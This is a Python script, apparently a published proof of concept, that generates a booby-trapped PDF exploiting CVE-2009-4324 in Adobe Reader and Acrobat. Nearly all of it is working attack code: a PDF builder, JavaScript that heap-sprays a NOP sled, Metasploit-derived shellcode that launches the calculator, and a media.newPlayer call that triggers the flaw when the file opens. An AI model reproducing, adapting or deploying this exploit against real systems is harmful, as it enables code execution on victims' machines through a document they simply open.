1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
| #
# Author : Ahmed Obied (ahmed.obied@gmail.com)
#
# This program generates a PDF file that exploits a vulnerability (CVE-2009-4324)
# in Adobe Reader and Acrobat. The generated PDF file was tested using Adobe
# Reader 9.2.0 on Windows XP SP3. The exploit's payload spawns the calculator.
#
# Usage : python adobe_newplayer.py [output file name]
#
import sys
class PDF:
def __init__(self):
self.xrefs = []
self.eol = '\x0d\x0a'
self.content = ''
self.xrefs_offset = 0
def header(self):
self.content += '%PDF-1.1' + self.eol
def obj(self, obj_num, data):
self.xrefs.append(len(self.content))
self.content += '%d 0 obj' % obj_num
self.content += self.eol + '<< ' + data + ' >>' + self.eol
self.content += 'endobj' + self.eol
def ref(self, ref_num):
return '%d 0 R' % ref_num
def xref(self):
self.xrefs_offset = len(self.content)
self.content += 'xref' + self.eol
self.content += '0 %d' % (len(self.xrefs) + 1)
self.content += self.eol
self.content += '0000000000 65535 f' + self.eol
for i in self.xrefs:
self.content += '%010d 00000 n' % i
self.content += self.eol
def trailer(self):
self.content += 'trailer' + self.eol
self.content += '<< /Size %d' % (len(self.xrefs) + 1)
self.content += ' /Root ' + self.ref(1) + ' >> ' + self.eol
self.content += 'startxref' + self.eol
self.content += '%d' % self.xrefs_offset
self.content += self.eol
self.content += '%%EOF'
def generate(self):
return self.content
class Exploit:
def convert_to_utf16(self, payload):
enc_payload = ''
for i in range(0, len(payload), 2):
num = 0
for j in range(0, 2):
num += (ord(payload[i + j]) & 0xff) << (j * 8)
enc_payload += '%%u%04x' % num
return enc_payload
def get_payload(self):
# win32_exec - EXITFUNC=process CMD=calc.exe Size=164 Encoder=PexFnstenvSub
# http://metasploit.com
payload = '\x31\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6f'
payload += '\x02\xb1\x0e\x83\xeb\xfc\xe2\xf4\x93\xea\xf5\x0e\x6f\x02\x3a\x4b'
payload += '\x53\x89\xcd\x0b\x17\x03\x5e\x85\x20\x1a\x3a\x51\x4f\x03\x5a\x47'
payload += '\xe4\x36\x3a\x0f\x81\x33\x71\x97\xc3\x86\x71\x7a\x68\xc3\x7b\x03'
payload += '\x6e\xc0\x5a\xfa\x54\x56\x95\x0a\x1a\xe7\x3a\x51\x4b\x03\x5a\x68'
payload += '\xe4\x0e\xfa\x85\x30\x1e\xb0\xe5\xe4\x1e\x3a\x0f\x84\x8b\xed\x2a'
payload += '\x6b\xc1\x80\xce\x0b\x89\xf1\x3e\xea\xc2\xc9\x02\xe4\x42\xbd\x85'
payload += '\x1f\x1e\x1c\x85\x07\x0a\x5a\x07\xe4\x82\x01\x0e\x6f\x02\x3a\x66'
payload += '\x53\x5d\x80\xf8\x0f\x54\x38\xf6\xec\xc2\xca\x5e\x07\x7c\x69\xec'
payload += '\x1c\x6a\x29\xf0\xe5\x0c\xe6\xf1\x88\x61\xd0\x62\x0c\x2c\xd4\x76'
payload += '\x0a\x02\xb1\x0e'
return self.convert_to_utf16(payload)
def get_exploit(self):
exploit = '''
function spray_heap()
{
var chunk_size, payload, nopsled;
chunk_size = 0x8000;
payload = unescape("<PAYLOAD>");
nopsled = unescape("<NOP>");
while (nopsled.length < chunk_size)
nopsled += nopsled;
nopsled_len = chunk_size - (payload.length + 20);
nopsled = nopsled.substring(0, nopsled_len);
heap_chunks = new Array();
for (var i = 0 ; i < <CHUNKS> ; i++)
heap_chunks[i] = nopsled + payload;
}
function trigger_bug()
{
util.printd("1.000000000000000000000000 : 0000000", new Date());
try {
media.newPlayer(null);
} catch(e) {}
util.printd("1.000000000000000000000000 : 0000000", new Date());
}
spray_heap();
trigger_bug();
'''
exploit = exploit.replace('<PAYLOAD>', self.get_payload())
exploit = exploit.replace('<NOP>', '%u0d0d%u0d0d')
exploit = exploit.replace('<CHUNKS>', '1200')
return exploit
def generate_pdf():
exploit = Exploit()
pdf = PDF()
pdf.header()
pdf.obj(1, '/Type /Catalog /Outlines ' + pdf.ref(2) + ' /Pages ' + pdf.ref(3) + ' /OpenAction ' + pdf.ref(5))
pdf.obj(2, '/Type /Outlines /Count 0')
pdf.obj(3, '/Type /Pages /Kids [' + pdf.ref(4) + '] /Count 1')
pdf.obj(4, '/Type /Page /Parent ' + pdf.ref(3) + ' /MediaBox [0 0 612 792]')
pdf.obj(5, '/Type /Action /S /JavaScript /JS (%s)' % exploit.get_exploit())
pdf.xref()
pdf.trailer()
return pdf.generate()
def main():
if len(sys.argv) != 2:
print 'Usage: python %s [output file name]' % sys.argv[0]
sys.exit(0)
file_name = sys.argv[1]
if not file_name.endswith('.pdf'):
file_name = file_name + '.pdf'
try:
fd = open(file_name, 'w')
fd.write(generate_pdf())
fd.close()
print '[-] PDF file generated and written to %s' % file_name
except IOError:
print '[*] Error : An IO error has occurred'
print '[-] Exiting ...'
sys.exit(-1)
if __name__ == '__main__':
main()
|